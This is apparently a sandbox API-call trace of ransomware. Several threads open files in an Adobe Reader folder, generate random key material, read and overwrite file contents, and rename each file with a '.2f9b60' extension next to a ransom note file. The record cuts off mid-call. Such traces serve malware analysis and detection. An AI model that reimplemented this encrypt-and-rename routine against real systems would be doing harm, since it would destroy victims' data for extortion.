[0105.467] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="71") returned 2 [0105.467] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="d8") returned 2 [0105.467] RtlInitAnsiString (in: DestinationString=0x25f6fbc8, SourceString="701bd62a57786c6c0bce694d0d6345f386e8d4f7676271d8" | out: DestinationString="701bd62a57786c6c0bce694d0d6345f386e8d4f7676271d8") [0105.467] RtlAnsiStringToUnicodeString (in: DestinationString=0x25f6fb98, SourceString="701bd62a57786c6c0bce694d0d6345f386e8d4f7676271d8", AllocateDestinationString=1 | out: DestinationString="701bd62a57786c6c0bce694d0d6345f386e8d4f7676271d8") returned 0x0 [0105.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863b20 [0105.467] wcscat (in: _Dest=0x202a4ad0, _Source="701bd62a5778" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\701bd62a5778") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\701bd62a5778" [0105.467] wcscat (in: _Dest=0x202a4ad0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\701bd62a5778.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\701bd62a5778.2f9b60" [0105.467] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\701bd62a5778.2f9b60", NtPathName=0x25f6fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\701bd62a5778.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205db90 [0106.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205db90) returned 1 [0106.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecc970) returned 1 [0106.077] NtQueryInformationFile (in: FileHandle=0x17c4, IoStatusBlock=0x25f6fbd8, FileInformation=0x25f6fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25f6fbd8, FileInformation=0x25f6fbe8) returned 0x0 [0106.077] NtSetInformationFile (FileHandle=0x17c4, IoStatusBlock=0x25f6fbd8, FileInformation=0x25f6fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0106.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4ad0) returned 1 [0106.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863b20) returned 1 [0106.102] FlushFileBuffers (hFile=0x17c4) returned 1 [0106.108] CloseHandle (hObject=0x17c4) returned 1 [0106.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b867540 [0106.119] wcscpy (in: _Dest=0x1b867540, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0106.119] wcscat (in: _Dest=0x1b867540, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0106.119] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0106.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0106.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8675c0) returned 1 Thread: id = 876 os_tid = 0x1458 [0101.060] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm")) returned 0x20 [0103.891] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm", dwFileAttributes=0x20) returned 1 [0104.007] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17b4 [0104.007] GetFileSizeEx (in: hFile=0x17b4, lpFileSize=0x27c8fb00 | out: lpFileSize=0x27c8fb00*=17351) returned 1 [0104.007] SetFilePointerEx (in: hFile=0x17b4, liDistanceToMove=0x43c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.007] ReadFile (in: hFile=0x17b4, lpBuffer=0x27c8fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27c8fac8, lpOverlapped=0x0 | out: lpBuffer=0x27c8fa80*, lpNumberOfBytesRead=0x27c8fac8*=0x4, lpOverlapped=0x0) returned 1 [0104.017] SetFilePointerEx (in: hFile=0x17b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0104.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0104.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263050 [0104.018] NtQuerySystemTime (in: CurrentTime=0x27c8f9c0 | out: CurrentTime=0x27c8f9c0*=132462177095038000) returned 0x0 [0104.018] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x5cf49924 [0104.018] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0xb11f3a [0104.018] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x376b7ca6 [0104.018] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x50e3eea0 [0104.018] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x37941325 [0104.018] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0xcaf7b33 [0104.018] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x14c21add [0104.018] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x724f0c23 [0104.018] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x411c409d [0104.018] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0xa72fc24 [0104.018] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x99ddda4 [0104.018] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x142a78b0 [0104.018] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x2591d677 [0104.018] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x22652c4a [0104.018] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x3f3d53a2 [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x25113f2 [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x59b105c1 [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x7ac9ff1f [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x15038361 [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x44d08f91 [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x18724af5 [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x10d6c6f4 [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x38f15692 [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x5a7f8d49 [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x67c1cb54 [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x5a43fc10 [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x17a5be5b [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x6a9d84b7 [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x47f6ba86 [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x3719e8c3 [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x7953e8f [0104.019] RtlRandomEx (in: Seed=0x27c8f9b0 | out: Seed=0x27c8f9b0) returned 0x77487997 [0104.034] SetFilePointerEx (in: hFile=0x17b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.034] ReadFile (in: hFile=0x17b4, lpBuffer=0x41eb1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x27c8fa20, lpOverlapped=0x0 | out: lpBuffer=0x41eb1d40*, lpNumberOfBytesRead=0x27c8fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0104.656] SetFilePointerEx (in: hFile=0x17b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0104.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0104.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0104.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262720) returned 1 [0104.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f2a520 [0104.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0104.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0104.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b00) returned 1 [0104.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0104.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0104.657] WriteFile (in: hFile=0x17b4, lpBuffer=0x41f2a520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x27c8fa20, lpOverlapped=0x0 | out: lpBuffer=0x41f2a520*, lpNumberOfBytesWritten=0x27c8fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0104.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2a520) returned 1 [0104.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eb1d40) returned 1 [0104.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a6860 [0104.838] SetFilePointerEx (in: hFile=0x17b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.838] WriteFile (in: hFile=0x17b4, lpBuffer=0x4205a890*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x27c8fad0, lpOverlapped=0x0 | out: lpBuffer=0x4205a890*, lpNumberOfBytesWritten=0x27c8fad0*=0x10a, lpOverlapped=0x0) returned 1 [0105.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0105.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0105.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67d0 [0105.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a67d0) returned 1 [0105.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0105.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67d0 [0105.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6530 [0105.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6530) returned 1 [0105.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0105.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0105.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f6b0 [0105.111] sprintf (in: _Dest=0x1cd9f6b0, _Format="%c%c" | out: _Dest="2f") returned 2 [0105.111] sprintf (in: _Dest=0x1cd9f6b2, _Format="%c%c" | out: _Dest="50") returned 2 [0105.111] sprintf (in: _Dest=0x1cd9f6b4, _Format="%c%c" | out: _Dest="d8") returned 2 [0105.111] sprintf (in: _Dest=0x1cd9f6b6, _Format="%c%c" | out: _Dest="17") returned 2 [0105.111] sprintf (in: _Dest=0x1cd9f6b8, _Format="%c%c" | out: _Dest="16") returned 2 [0105.111] sprintf (in: _Dest=0x1cd9f6ba, _Format="%c%c" | out: _Dest="7c") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6bc, _Format="%c%c" | out: _Dest="88") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6be, _Format="%c%c" | out: _Dest="75") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6c0, _Format="%c%c" | out: _Dest="75") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6c2, _Format="%c%c" | out: _Dest="8c") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6c4, _Format="%c%c" | out: _Dest="19") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6c6, _Format="%c%c" | out: _Dest="4f") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6c8, _Format="%c%c" | out: _Dest="8e") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6ca, _Format="%c%c" | out: _Dest="e6") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6cc, _Format="%c%c" | out: _Dest="a5") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6ce, _Format="%c%c" | out: _Dest="f0") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6d0, _Format="%c%c" | out: _Dest="34") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6d2, _Format="%c%c" | out: _Dest="5e") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6d4, _Format="%c%c" | out: _Dest="e0") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6d6, _Format="%c%c" | out: _Dest="22") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6d8, _Format="%c%c" | out: _Dest="67") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6da, _Format="%c%c" | out: _Dest="1d") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6dc, _Format="%c%c" | out: _Dest="55") returned 2 [0105.112] sprintf (in: _Dest=0x1cd9f6de, _Format="%c%c" | out: _Dest="ff") returned 2 [0105.112] RtlInitAnsiString (in: DestinationString=0x27c8fb48, SourceString="2f50d817167c8875758c194f8ee6a5f0345ee022671d55ff" | out: DestinationString="2f50d817167c8875758c194f8ee6a5f0345ee022671d55ff") [0105.112] RtlAnsiStringToUnicodeString (in: DestinationString=0x27c8fb18, SourceString="2f50d817167c8875758c194f8ee6a5f0345ee022671d55ff", AllocateDestinationString=1 | out: DestinationString="2f50d817167c8875758c194f8ee6a5f0345ee022671d55ff") returned 0x0 [0105.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5be0 [0105.113] wcscat (in: _Dest=0x1b85c180, _Source="2f50d817167c" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2f50d817167c") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2f50d817167c" [0105.113] wcscat (in: _Dest=0x1b85c180, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2f50d817167c.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2f50d817167c.2f9b60" [0105.113] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2f50d817167c.2f9b60", NtPathName=0x27c8faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2f50d817167c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x204ff7d0 [0105.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff7d0) returned 1 [0105.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecbc50) returned 1 [0105.666] NtQueryInformationFile (in: FileHandle=0x17b4, IoStatusBlock=0x27c8fb58, FileInformation=0x27c8fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27c8fb58, FileInformation=0x27c8fb68) returned 0x0 [0105.666] NtSetInformationFile (FileHandle=0x17b4, IoStatusBlock=0x27c8fb58, FileInformation=0x27c8fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c180) returned 1 [0105.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5be0) returned 1 [0105.742] FlushFileBuffers (hFile=0x17b4) returned 1 [0105.821] CloseHandle (hObject=0x17b4) returned 1 [0105.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85ee10 [0105.837] wcscpy (in: _Dest=0x1b85ee10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0105.837] wcscat (in: _Dest=0x1b85ee10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0105.837] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0106.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0106.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867640) returned 1 Thread: id = 877 os_tid = 0x145c [0101.061] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm")) returned 0x20 [0103.610] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm", dwFileAttributes=0x20) returned 1 [0103.745] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x179c [0103.745] GetFileSizeEx (in: hFile=0x179c, lpFileSize=0x27d3fb00 | out: lpFileSize=0x27d3fb00*=16892) returned 1 [0103.745] SetFilePointerEx (in: hFile=0x179c, liDistanceToMove=0x41f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.745] ReadFile (in: hFile=0x179c, lpBuffer=0x27d3fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27d3fac8, lpOverlapped=0x0 | out: lpBuffer=0x27d3fa80*, lpNumberOfBytesRead=0x27d3fac8*=0x4, lpOverlapped=0x0) returned 1 [0103.891] SetFilePointerEx (in: hFile=0x179c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0103.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a70 [0103.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260830 [0103.891] NtQuerySystemTime (in: CurrentTime=0x27d3f9c0 | out: CurrentTime=0x27d3f9c0*=132462177093790000) returned 0x0 [0103.891] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x68f749b5 [0103.891] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x48074a6a [0103.891] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x1e793ebe [0103.891] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x2e50e2c [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x749fc7f [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x1a0698ea [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x3f2b0373 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x49e6d130 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x7603b25 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x5983dfa0 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x87ff4b7 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x42d30a48 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x4ab67fcb [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x4fbd682d [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x2b305d07 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x560d67b8 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x1b86dc81 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x77007426 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x243f15fa [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x3a6f217b [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x5d34cd81 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x4730af14 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x67b07d29 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x1dead02a [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x68f749b5 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x3e7881f5 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x6828117c [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x6fc65284 [0103.892] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x2da09ba9 [0103.893] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x2e880c59 [0103.893] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x6dc6b4bd [0103.893] RtlRandomEx (in: Seed=0x27d3f9b0 | out: Seed=0x27d3f9b0) returned 0x5ec65dc7 [0103.901] SetFilePointerEx (in: hFile=0x179c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.901] ReadFile (in: hFile=0x179c, lpBuffer=0x202d7950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x27d3fa20, lpOverlapped=0x0 | out: lpBuffer=0x202d7950*, lpNumberOfBytesRead=0x27d3fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0103.954] SetFilePointerEx (in: hFile=0x179c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d10 [0103.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0103.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611f0) returned 1 [0103.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ea6910 [0103.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0103.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0103.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ef0) returned 1 [0103.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0103.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.955] WriteFile (in: hFile=0x179c, lpBuffer=0x41ea6910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x27d3fa20, lpOverlapped=0x0 | out: lpBuffer=0x41ea6910*, lpNumberOfBytesWritten=0x27d3fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0159.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ea6910) returned 1 [0159.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d7950) returned 1 [0159.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20260380 [0159.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c060 [0159.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb72f0 [0159.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263920 [0159.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263920) returned 1 [0159.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20263920 [0159.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202613d0 [0159.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262120 [0159.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262120) returned 1 [0159.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb72f0) returned 1 [0159.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0159.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x167a60 [0159.347] SetFilePointerEx (in: hFile=0x179c, 